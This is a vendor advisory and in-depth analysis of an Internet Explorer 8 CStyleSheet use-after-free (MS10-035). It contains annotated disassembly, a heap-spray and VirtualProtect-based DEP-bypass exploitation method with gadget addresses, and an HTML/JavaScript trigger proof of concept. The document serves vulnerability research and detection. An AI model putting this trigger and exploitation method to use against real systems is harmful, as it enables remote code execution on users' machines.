VUPEN security

VUPEN Security – Binary Analysis & Exploits Service

In-Depth Analysis of Microsoft Internet Explorer CStyleSheet Memory Corruption Vulnerability (MS10-035 / CVE-2010-1262)

Table of Contents

Introduction

A vulnerability exists in Microsoft Internet Explorer when processing malformed web pages, which could be exploited by attackers to compromise a vulnerable system.

Tested Versions

The vulnerability was analyzed on Windows XP SP3 with Internet Explorer 8 (mshtml.dll version 8.0.6001.18904).

Fixed Versions

The vulnerability was fixed with the MS10-035 security update.

Technical Details

A dangling pointer vulnerability exists in Internet Explorer within the handling of the "imports" collection of a style sheet object when a Style element is created and removed from the markup.

When Internet Explorer encounters a call to the "imports" collection, it calls "CStyleSheet::get_imports()". This function first creates a "CStyleSheetArray" object CCSArray1:

```
.text:3DC326F5          mov     edi, edi
.text:3DC326F7          push    ebp
.text:3DC326F8          mov     ebp, esp
.text:3DC326FA          push    ebx
.text:3DC326FB          push    esi
.text:3DC326FC          mov     esi, [ebp+arg_0]
.text:3DC326FF          push    edi
.text:3DC32700          mov     edi, [ebp+arg_4]
.text:3DC32703          xor     ebx, ebx
.text:3DC32705          cmp     edi, ebx
.text:3DC32707          jz      loc_3DCAB11F
.text:3DC3270D          mov     [edi], ebx
.text:3DC3270F          cmp     [esi+28h], ebx
.text:3DC32712          jnz     short loc_3DC3274D
.text:3DC32714          push    34h
.text:3DC32716          push    ebx
.text:3DC32717          push    hHeap
.text:3DC3271D          call    HeapAlloc(x,x,x)                    //allocate 34h bytes
.text:3DC32723          cmp     eax, ebx
.text:3DC32725          jz      short loc_3DC3276E
.text:3DC32727          mov     edx, [esi+14h]
.text:3DC3272A          push    ecx
.text:3DC3272B          mov     ecx, esp
.text:3DC3272D          mov     [ecx], edx
.text:3DC3272F          push    dword ptr [esi+2Ch]
.text:3DC32732          push    esi
.text:3DC32733          call    CStyleSheetArray::CStyleSheetArray()  //initialize the object
```

During the initialization, it copies a reference to another "CStyleSheetArray" which was created when the document was opened.

It is referenced in the function above by [ESI + 2Ch].

```
.text:3DA8DBB4              mov     eax, [ebp+arg_4]
.text:3DA8DBB7              jnz     short loc_3DA8DBBB
.text:3DA8DBB9              mov     eax, esi
.text:3DA8DBBB
.text:3DA8DBBB loc_3DA8DBBB:
.text:3DA8DBBB              push    ecx
.text:3DA8DBBC              mov     ecx, [ebp+arg_8]
.text:3DA8DBBF              mov     [esi+18h], eax              //copy a reference to a previous
                                                                //CStyleSheetArray
```

If the Style element is removed from the markup, a new CStyleSheetArray is created. This occurs for instance after having modified the "outerText" attribute. In such case, Internet Explorer calls CMarkup::EnsureStyleSheets():

```
.text:3DA8DC59              mov     eax, [esi+64h]
.text:3DA8DC5C              test    eax, eax
.text:3DA8DC5E              jz      short loc_3DA8DC69
…
.text:3DA8DC69 loc_3DA8DC69:
.text:3DA8DC69              push    34h
.text:3DA8DC6B              push    eax
.text:3DA8DC6C              push    hHeap
.text:3DA8DC72              call    HeapAlloc(x,x,x)            //allocate a new object
.text:3DA8DC78              test    eax, eax
.text:3DA8DC7A              jz      short loc_3DA8DC61
.text:3DA8DC7C              push    ecx
.text:3DA8DC7D              mov     ecx, esp
.text:3DA8DC7F              and     dword ptr [ecx], 0
.text:3DA8DC82              push    0
.text:3DA8DC84              push    esi
.text:3DA8DC85              call    CStyleSheetArray::CStyleSheetArray()        //initialize CSSArray2
```

This new CStyleSheetArray is next appended to CCSArray1. The application calls first CStyleSheetArray::AddStyleSheet() which then calls CStyleSheet::ChangeContainer(). This results in modifying the reference located at CCSArray1 + 18h:

```
.text:3DA531B8              mov     edi, edi
.text:3DA531BA              push    ebp
.text:3DA531BB              mov     ebp, esp
.text:3DA531BD              push    esi
.text:3DA531BE              mov     esi, ecx
.text:3DA531C0              mov     eax, [esi+28h]              //eax points to CSSArray1
.text:3DA531C3              test    eax, eax
.text:3DA531C5              mov     ecx, [ebp+arg_0]
.text:3DA531C8              mov     [esi+2Ch], ecx
.text:3DA531CB              jnz     loc_3DCAADCA
…
.text:3DCAADCA loc_3DCAADCA:
.text:3DCAADCA              mov     ecx, [ecx+18h]              //ecx points to CSSArray2
.text:3DCAADCD              mov     [eax+18h], ecx              //copy the new reference
```

At this point, if the document is destroyed, for example by calling the Javascript function "document.write()", the CStyleSheetArray CSSArray2 is freed. This occurs in the CStyleSheetArray destructor (sub_3DC6A297):

```
.text:3DC6A297              mov     edi, edi
.text:3DC6A299              push    ebp
.text:3DC6A29A              mov     ebp, esp
.text:3DC6A29C              push    esi
.text:3DC6A29D              mov     esi, ecx
```

```
.text:3DC6A29F              call    CStyleSheetArray::~CStyleSheetArray(void)
.text:3DC6A2A4              test    [ebp+arg_0], 1
.text:3DC6A2A8              jz      short loc_3DC6A2B9
.text:3DC6A2AA              push    esi
.text:3DC6A2AB              push    0
.text:3DC6A2AD              push    hHeap
.text:3DC6A2B3              call    HeapFree(x,x,x)                 //free CSSArray2
.text:3DC6A2B9
.text:3DC6A2B9 loc_3DC6A2B9:
.text:3DC6A2B9              mov     eax, esi
.text:3DC6A2BB              pop     esi
.text:3DC6A2BC              pop     ebp
.text:3DC6A2BD              retn    4
```

Once done, if the "imports" collection is accessed, a crash occurs in "CStyleSheetArray::SecurityContext()" because a reference to CSSArray2 still exists in CSSArray1.

```
.text:3DDC87F6              mov     eax, [ecx+18h]                  //ecx points to CSSArray1
.text:3DDC87F9              test    eax, eax                        //eax points to freed memory
.text:3DDC87FB              jz      short loc_3DDC880B
.text:3DDC87FD              cmp     dword ptr [eax+2Ch], 0
.text:3DDC8801              jz      short loc_3DDC880B
.text:3DDC8803              mov     ecx, [eax+2Ch]                  //dereference an invalid object
.text:3DDC8806              mov     eax, [ecx]
.text:3DDC8808              jmp     dword ptr [eax+70h]             //redirection of the flow here
```

As we can see, if an attacker is able to allocate a controlled block of 34h bytes between when CSSArray2 was freed and when it is accessed, he can control an object pointer.

Properly exploited, this vulnerability can lead to arbitrary code execution via a malicious web page.

Exploitation

Successful exploitation of this vulnerability relies in allocating a block filled with controlled data precisely where the "CStyleSheetArray" was allocated. Our tests have shown that this can be achieved by creating multiple Style elements with long types right after having deleted the "CStyleSheetArray".

The provided exploit sets the type of each style to a 36h bytes long string. An array of 38h bytes is then allocated where CSSArray2 was freed (blocks of 34h and 38h bytes use the same space in memory).

On browsers where Data Execution Prevention is not activated by default, execution of arbitrary code is pretty straight, as an attacker just needs to spray memory to get his malicious code executed.

However, DEP is turned on by default in IE8 which complicates exploitation. The idea in this case is to perform a "return-to-libc" attack to set the execution flag to a controlled page and eventually execute it.

This can be accomplished in a few steps:

1) set esp to point to the heap spray
2) call VirtualProtect() to make the page executable
3) execute the payload

This exploit takes advantage of the Kernel32.dll module (version 5.1.2600.5781 on XP SP3). This module contains the necessary addresses to exploit this vulnerability but is unfortunately version dependent. Therefore addresses must be changed to target another system. It contains the following code pattern and functions:

```
.text:7C81078C              mov     ecx, [eax+CCh]              //step 1
.text:7C810792              mov     esp, [eax+D8h]
.text:7C810798              jmp     ecx

.text:7C801AD4 ; LPVOID __stdcall VirtualProtect()          //step 2
```

This exploit first sets ESP to point to 0x162400A8 which should point inside the spray. The spray is actually composed of blocks of 400h bytes so that a certain alignment is always respected. The first 256 bytes consist of return addresses to the previous steps, and arguments to VirtualProtect().

It next returns to VirtualProtect() with the following arguments:

```
0x16240000 – heap address expected
0x00001000 – size of the page
0x00000040 – PAGE_EXECUTE_READ_WRITE
0x16250000 - lpflOldProtect
```

This should attribute the executable flag to the page at 0x16240000. Eventually, the program returns to 0x16240D24 and executes the payload despite DEP activated.

Detection

Due to the nature of the bug, it is difficult to detect exploits taking advantage of this vulnerability. However, you can check if a web page contains a Style element and a reference to the "imports" collection of a style sheet. If the Style element is removed from the HTML markup when the "imports" collection is used, consider the page malicious.

The following code illustrates the issue:

```
<html>
<script>
function function1() {
    var id37 = document.styleSheets[0].imports;
    var id2 = document.getElementById("id2");

    id1.innerHTML = "AAAAA";      //remove the Style element
    id2.outerText = "";           //create CSSArray2
    document.write("");           //delete CSSArray2

    id37.length;                  //trigger the bug
}
</script>

<body onload="function1()">

<div id="id1">
    <style id="id2"></style>
</div>

</body>
</html>
```

References

VUPEN/ADV-2010-1392:
http://www.vupen.com/english/advisories/2010/1392

MS10-035:
http://www.microsoft.com/technet/security/bulletin/ms10-035.mspx

Changelog

2010-06-25: Initial release